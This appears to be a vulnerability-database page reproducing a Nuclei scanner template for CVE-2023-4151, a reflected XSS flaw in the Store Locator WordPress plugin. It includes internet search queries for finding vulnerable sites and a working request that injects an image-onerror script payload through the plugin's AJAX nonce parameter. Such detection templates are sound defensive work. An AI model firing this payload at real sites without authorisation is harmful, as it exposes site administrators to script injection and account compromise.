SecurityContext

CVE-2023-4151: Store Locator WordPress < 1.4.13 - Cross-Site Scripting

  • Template: CVE-2023-4151
  • Name: Store Locator WordPress < 1.4.13 - Cross-Site Scripting
  • Description: The Store Locator WordPress plugin before 1.4.13 does not sanitise and escape an invalid nonce before outputting it back in an AJAX response, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  • Impact: Attackers can potentially exploit this vulnerability to gain unauthorized access to sensitive information.
  • Remediation: Update the plugin to Latest version. Fixed in 1.4.13.
  • Severity: medium
  • Authors: ritikchaddha
  • Tags: cve, cve2023, wp, wordpress, wp-plugin, agile-store-locator, xss, vuln
  • References: https://wpscan.com/vulnerability/c9d80aa4-a26d-4b3f-b7bf-9d2fb0560d7b/, https://nvd.nist.gov/vuln/detail/CVE-2023-4151
  • Cves: CVE-2023-4151
  • Max requests: 3
  • Directory: http/cves
  • Path: http/cves/2023/CVE-2023-4151.yaml
  • Digest: 4a0a00473045022100c69d9b587c68df66de99ba64d5efe5190052d409ddb01c6e5a20d3a93b86666802206246899ebabf56674fdf3ff66f8f30aad98b1895127fd2e723d53ba1a918ac2f
  • Created at: 2024-10-07T08:14:05Z
  • Updated at: 2026-11-24T02:03:42Z
  • Age in days: 778
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-4151.yaml
  • Checked, none or zero: verified

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.00688
  • Epss percentile: 0.53662
  • Cpe: cpe:2.3:a:agilelogix:store_locator:*:*:*:*:*:wordpress:*:*

Metadata

  • Fofa-query: body="/wp-content/plugins/agile-store-locator"
  • Framework: wordpress
  • Max-request: 3
  • Product: store_locator
  • Publicwww-query: /wp-content/plugins/agile-store-locator/
  • Shodan-query: http.html:"/wp-content/plugins/agile-store-locator/"
  • Vendor: agilelogix

Products

ProductIndexedUrl
agilelogix:store_locatoryes/v1/products/agilelogix/store_locator

Labels

  • Name: Store Locator WordPress - Reflected XSS
  • Impact: Attackers can execute malicious scripts in the context of high privilege users, potentially leading to account compromise or data theft.
  • Remediation: Update to version 1.4.13 or later.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Victim needs to load malicious content
  • Labels source: projectdiscovery
  • From cve: CVE-2023-4151

```yaml

id: CVE-2023-4151

info:

name: Store Locator WordPress < 1.4.13 - Cross-Site Scripting

author: ritikchaddha

severity: medium

description: |

The Store Locator WordPress plugin before 1.4.13 does not sanitise and escape an invalid nonce before outputting it back in an AJAX response, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

impact: |

Attackers can potentially exploit this vulnerability to gain unauthorized access to sensitive information.

remediation: |

Update the plugin to Latest version. Fixed in 1.4.13.

reference:

- https://wpscan.com/vulnerability/c9d80aa4-a26d-4b3f-b7bf-9d2fb0560d7b/

- https://nvd.nist.gov/vuln/detail/CVE-2023-4151

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2023-4151

cwe-id: CWE-79

epss-score: 0.00688

epss-percentile: 0.53662

cpe: cpe:2.3:a:agilelogix:store_locator:*:*:*:*:*:wordpress:*:*

metadata:

max-request: 3

vendor: agilelogix

product: store_locator

framework: wordpress

fofa-query: body="/wp-content/plugins/agile-store-locator"

publicwww-query: /wp-content/plugins/agile-store-locator/

shodan-query: http.html:"/wp-content/plugins/agile-store-locator/"

tags: cve,cve2023,wp,wordpress,wp-plugin,agile-store-locator,xss,vuln

flow: http(1) && http(2)

http:

- raw:

- |

GET / HTTP/1.1

Host: {{Hostname}}

matchers:

- type: word

part: body

words:

- "/wp-content/plugins/agile-store-locator"

internal: true

- raw:

- |

POST /wp-login.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

log={{username}}&pwd={{password}}&wp-submit=Log+In

- |

GET /wp-admin/admin-ajax.php?action=asl_ajax_handler&asl-nounce=<img src onerror=alert`document.domain`> HTTP/1.1

Host: {{Hostname}}

matchers-condition: and

matchers:

- type: word

part: body_2

words:

- '<img src onerror=alert`document.domain`>'

- type: word

part: content_type_2

words:

- text/html

- type: status

status:

- 200

digest: 4a0a00473045022100c69d9b587c68df66de99ba64d5efe5190052d409ddb01c6e5a20d3a93b86666802206246899ebabf56674fdf3ff66f8f30aad98b1895127fd2e723d53ba1a918ac2f:922c64590222798bb761d5b6d8e72950

```